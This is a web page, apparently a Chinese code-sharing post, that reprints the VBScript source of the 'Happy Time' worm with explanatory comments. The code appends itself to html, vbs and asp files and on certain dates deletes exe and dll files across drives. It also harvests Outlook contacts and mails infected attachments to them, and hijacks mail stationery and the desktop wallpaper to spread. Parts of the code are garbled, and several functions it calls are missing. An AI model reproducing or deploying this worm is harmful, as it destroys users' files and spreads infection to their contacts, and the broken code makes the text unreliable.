欢乐时光源码

‘*************** 欢乐时光 ***************
Rem I am sorry! happy time
On Error Resume Next
Mload
‘以上为病毒入口,并加上I am sorry! happy time的注释,以表明此文件已被感染过。

Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib") 
Set Oh = CreateObject("Sh*ll .Application")
‘建立枚举对象,避开了安全审核
If IsHTML Then
‘调用IsHtml函数,如果是Html,就小写……   
 mURL = LCase(document.Location)
 If mPath = "" Then
  Os.Reset   
  Os.Path = "C:/Help.htm"
  Os.Doc = Lhtml()
Os.Write()
‘如果mPath为空,就在C盘下生成Help.htm
Ihtml = ""
‘超文本的内容,并指向C:/Help.Htm
  Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
 Else
  If Iv(mPath, "Help.vbs") Then
    setInterval "Rt()", 10000
  Else
    m = "hta"
    If LCase(m) = Right(mURL, Len(m)) Then
     id = setTimeout("mclose()", 1)
‘设置超时条件
     main
    Else   
     Os.Reset()
     Os.Path = mPath & "/" & "Help.hta"
     Os.Doc = Lhtml()
     Os.write()
     Iv mPath, "Help.hta"
‘生成Help.hta
    End If
  End If
 End If
Else
 Main
‘都不是,就执行main函数 
End If
End Sub

‘******************************************************************
‘以下为主函数,太长了!
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
‘不用说,创建FileSystemObject对象啦
Set Od = CreateObject("Scripting.Dictionary")
‘创建Dictionary对象, 用来保存数据键和项目对,它实际上是一个比较开放的数组
Od.Add "html", "1100"  
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
‘向Dictionary对象添加要感染的项目对
Ks = "HKEY_CURRENT_USER/Software/"
‘使用变量以减少代码长度 
Ds = Grf()
Cs = Gsf()
If IsVbs Then
‘如果是VBS  
 If Of.FileExists("C:/help.htm") Then 
   Of.DeleteFile ("C:/help.htm")
‘如果c:/help.htm存在,就删掉,消灭遗留的痕迹
 End If
 Key = CInt(Month(Date) + Day(Date)) 
 If Key = 13 Then  
‘如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可)
  Od.RemoveAll
  Od.Add "exe", "0001"
  Od.Add "dll", "0001"
‘就清空Dictionary数组,并将exe、dll加入Dictionary 对象,以备删除之用
 End If
 Cn = Rg(Ks & "Help/Count") 
‘读注册表中的HKEY_CURRENT_USER/Software/Help/Count键值
 If Cn = "" Then
Cn = 1
‘如果Count为0,就设为1
 End If
 Rw Ks & "Help/Count", Cn + 1 
‘添加HKEY_CURRENT_USER/Software/Help/Count键值,值为2
 f1 = Rg(Ks & "Help/FileName") 
‘再读HKEY_CURRENT_USER/Software/Help/FileName键值
 f2 = FNext(Of, Od, f1) 
‘得到该文件的文件名
 fext = GetExt(Of, Od, f2) 
‘得到该文件扩展名的代号
 Rw Ks & "Help/FileName", f2 
‘添加键值
 If IsDel(fext) Then  
‘如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3 = f2  
‘储存文件名
f2 = FNext(Of, Od, f2) 
‘得到文件的文件名?
Rw Ks & "Help/FileName", f2 
‘写注册表
Of.DeleteFile f3  
‘删除文件
 Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
‘如果不是集合中的文件
  Fw Of, f2, fext
  End If
 End If
 If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
‘使用 Cint函数强制执行转换,并发邮件
   Tsend
  Else
   adds = Og
   Msend (adds)
  End If
 End If

wp = Rg("HKEY_CURRENT_USER/Control Panel/desktop/wallPaper")
 If Rg(Ks & "Help/wallPaper") <> wp Or wp = "" Then
 ‘比较桌面墙纸是否已改变
 If wp = "" Then
   n1 = ""
   n3 = Cs & "/Help.htm"
  Else
   mP = Of.GetFile(wp).ParentFolder
   n1 = Of.GetFileName(wp)
   n2 = Of.GetBaseName(wp)
   n3 = Cs & "/" & n2 & ".htm"
  End If
  Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
‘创建超文本
  pfc.Write "<" & "HTML><" & "body bgcolor=‘#007f7f‘ background=‘" & n1 & "‘><
" & "/Body><" & "/HTML>" & mt
‘超文本的内容
  pfc.Close
  Rw Ks & "Help/wallPaper", n3
Rw "HKEY_CURRENT_USER/Control Panel/desktop/wallPaper", n3
‘将带毒的超文本设置成活动桌面
 End If
Else
 Set fc = Of.CreateTextFile(Ds & "/Help.vbs", True)
 fc.Write Sa("0100")
‘创建vbs文件
 fc.Close
 bf = Cs & "/Untitled.htm"
 Set fc2 = Of.CreateTextFile(bf, True)
 fc2.Write Lhtml
 fc2.Close
‘创建windows下的untitled.htm
 oeid = Rg("HKEY_CURRENT_USER/Identities/Default User ID")
 oe = "HKEY_CURRENT_USER/Identities/" & oeid & "/Software/Microsoft/Outlook E
 xpress/5.0/Mail"
 MSH = oe & "/Message Send HTML"
 CUS = oe & "/Compose Use Stationery"
 SN = oe & "/Stationery Name"
 Rw MSH, 1
 Rw CUS, 1
 Rw SN, bf
‘在Hkey_Current_User\Identities\{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}\Software\Microsoft\Outlook Express\5.0\Mail下添加三个键值Message Send HTML 、Compose Use Stationery 和Stationery Name,前两个的值为1,后一个指向windows/untitled.htm
 Web = Cs & "/WEB"
 Set gf = Of.GetFolder(Web).Files
‘得到windows/web文件夹里的文件
 Od.Add "htt", "1100"
‘向Dictionary里添加htt项目对
 For Each m In gf
‘遍历windows/web下的每一个文件
fext = GetExt(Of, Od, m)
‘得到每个文件的扩展名
If fext <> "" Then
‘如果扩展名不为空,则
   Fw Of, m, fext
  End If
 Next
End If
End Sub


‘******************************************************************
Sub mclose()  
document.Write "<" & "title>I am sorry!‘写入I am sorry,并关闭。以此作为感染与否的标记
window.Close
End Sub

‘******************************************************************
Sub Fw(Of, S, n) 
‘此时S为文件名,n为文件扩展名
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1) 
‘只读模式打开该文件
mt = fc.ReadAll  
‘读入全部文件流
fc.Close  
‘关闭文件
If Not Sc(mt) Then 
‘如果未感染过
 mmail = Ml(mt)
 mt = Sa(n)
 Set fc2 = Of.OpenTextFile(S, 8)
‘打开文件并在文件末尾进行写操作
 fc2.Write mt
 fc2.Close
 Msend (mmail)
‘发带毒邮件
End If
End Sub

‘******************************************************************
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then 
‘如果读入的文件流中有Rem I am sorry! happy time
 Sc = True  
Else
 Sc = False
‘表示已感染过,返回True,否则为False
End If
End Function

‘******************************************************************
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
‘初始化变量
If Of.FileExists(S) Then 
‘如果S存在于当前文件夹中
 fpath = Of.GetFile(S).ParentFolder
‘得到文件的父目录名
 fname = S  
‘得到文件名
ElseIf Of.FolderExists(S) Then 
‘不存在于当前文件夹中,则得到目录名
 fpath = S  
 T = True
Else
 fpath = Dnext(Of, "") 
‘得到当前盘符——即根目录
End If
Do While True
 Set gf = Of.GetFolder(fpath).Files
‘得到当前目录下的所有文件对象
 For Each m In gf 
‘遍历每个文件
  If T Then
   If GetExt(Of, Od, m) <> "" Then
‘如果该文件是文件集合中的一员
    FNext = m 
‘则返回该文件名,供调用的函数或过程使用——感染或删除之
   Exit Function
   End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
‘如果没文件
   T = True
  End If
 Next
 fpath = Pnext(Of, fpath) ‘
Loop
End Function


‘******************************************************************
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then 
‘如果如果指定的文件夹存在
 Set gp = Of.GetFolder(S).SubFolders
‘就得到子目录数
 pn = gp.Count
 If pn = 0 Then 
‘如果没子目录
  Ppath = LCase(S)  ‘
Npath = LCase(Of.GetParentFolderName(S))
‘得到父目录的小写形式
  T = True
 Else
Npath = LCase(S)  
‘有子目录,得到其小写形式的集合
 End If
 Do While Not Er  ‘
For Each pn In Of.GetFolder(Npath).SubFolders
‘得到子目录下的子目录
   If T Then
    If Ppath = LCase(pn) Then
     T = False
    End If
   Else
    Pnext = LCase(pn)
    Exit Function
   End If
  Next
  T = True
Ppath = LCase(Npath)
‘将字符串转化成小写
  Npath = Of.GetParentFolderName(Npath) ‘
If Of.GetFolder(Ppath).IsRootFolder Then
‘如果是根目录
   m = Of.GetDriveName(Ppath) 
‘就得到分区符
   Pnext = Dnext(Of, m)
   Exit Function
  End If
 Loop
End If
End Function

‘******************************************************************
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
‘得到所有的驱动器盘符
For Each d In dc
‘遍历每个驱动器
 If d.DriveType = 2 Or d.DriveType = 3 Then
‘如果是网络盘或本地盘
  If T Then
   Dnext = d
   Exit Function
‘如果是False,就返回当前盘,并退出本函数
  Else
   If LCase(S) = LCase(d) Then
‘如果是True且盘符相同,就令T为True
    T = True
   End If
   If m = "" Then 
‘如果m为空,就将盘符付给m
    m = d
   End If
  End If
 End If
Next
Dnext = m 
‘返回盘符
End Function


‘******************************************************************
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
‘返回该文件扩展名的小写
GetExt = Od.Item(fext) 
‘返回Dictionary对象中指定的key对应的item——即0001(exe)等
End Function

‘******************************************************************
Sub Rw(k, v)  
‘写注册表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Sh*ll ")
‘创建对象
R.RegWrite k, v
End Sub

‘******************************************************************
Function Rg(v)  
‘读注册表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Sh*ll ")
‘创建对象
Rg = R.RegRead(v)
End Function

‘******************************************************************
Function IsVbs() 
‘此函数判断是不是VBS文件
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then  
‘如果出错,则不是VBS
 IsVbs = False
Else
 IsVbs = True
End If
End Function

‘******************************************************************
Function IsHTML() 
‘此函数判断是不是Html文件
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
 IsHTML = False
‘如果出错,则不是超文本
Else
 IsHTML = True
End If
End Function


‘******************************************************************
Function IsMail(S)
‘此函数判断是不是邮件地址
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then 
‘返回vbCrLf在S中第一次出现的位置, vbCrLf是换行符
 m1 = InStr(S, "@") 
 m2 = InStr(S, ".")
 If m1 <> 0 And m1 < m2 Then 
‘如果有“@”符号且“@”在“."之前,则是邮件地址
  IsMail = True
 End If
End If
End Function

‘******************************************************************
Function Gsf()  
‘得到windows目录
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
‘创建FileSystemObject对象
m = Of.GetSpecialFolder(0)
‘得到特殊目录——Windows、System和Temp目录
If Er Then  
‘如果失败,返回C:/
 Gsf = "C:/"
Else   
‘若正常,则返回%Windows%
 Gsf = m
End If
End Function

‘******************************************************************
Function Lhtml()  
‘写入超文本的内容,其中vbCrLf是换行符
Lhtml = "<" & "HTML" & ">"<" & "Title> Help "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _
"<" & "/Body>End Function

‘******************************************************************
Function Lscript(S)  
‘写入vbscript的声明
Lscript = "<" & "script language=‘VBScript‘>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function

‘******************************************************************
Function Sl(S1, S2, n) 
Dim l1, l2, l3, i
l1 = Len(S1) 
‘得到文件流的长度
l2 = Len(S2) 
‘得到mailt的长度
i = InStr(S1, S2) 
‘在文件流中查找mailt第一次出现的位置——值为一个数
If i > 0 Then 
‘找到则进行字符串操作
 l3 = i + l2 - 1
 If n = 0 Then
  Sl = Left(S1, i - 1)
 ElseIf n = 1 Then
  Sl = Right(S1, l1 - l3)
 End If
Else
Sl = ""
End If
End Function


‘******************************************************************
Function Og() 
‘得到WAB(通讯簿)中的邮件地址
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
‘创建Outlook应用程序对象,Outlook和Outlook Express都跑不掉啦!
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
 m(i - 1) = Om.Item(i).Email1Address
得到每个WAB中的邮件地址
Next
Og = m
End Function

‘******************************************************************
Sub Tsend() 
‘发带毒邮件
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
 MM.MsgIndex = i
 a = MM.MsgOrigAddress
 If Od.Item(a) = "" Then
  Od.Item(a) = MM.MsgSubject
 End If
Next
For Each m In Od.Keys
 MM.Compose
 MM.MsgSubject = "Fw: " & Od.Item(m)
‘设置邮件标题
 MM.RecipAddress = m
‘此邮件的当前的目标邮件地址
 MM.AttachmentPathName = Gsf & "/Untitled.htm"
‘添加附件Windows/Untitled.htm
 MM.Send
‘发送!
Next
MS.SignOff
End Sub

‘******************************************************************
Function Er() 
‘设置的错误陷阱,避免程序崩溃,严谨的风格值得学习
If Err.Number = 0 Then
 Er = False
Else
 Err.Clear
 Er = True
End If
End Function

‘******************************************************************
Function IsDel(S) 
‘此函数查看当前文件是否是要删除的文件类型
If Mid(S, 4, 1) = 1 Then
‘看S的第四个字符是否是1——即是0001(exe和dll)
IsDel = True 
‘如是,返回True,以备删除
Else
IsDel = False 
‘如不是,返回False
End If
End Function
‘******************************************************************
 

你可能感兴趣的:(html,function,express,VBScript,exe,Dictionary)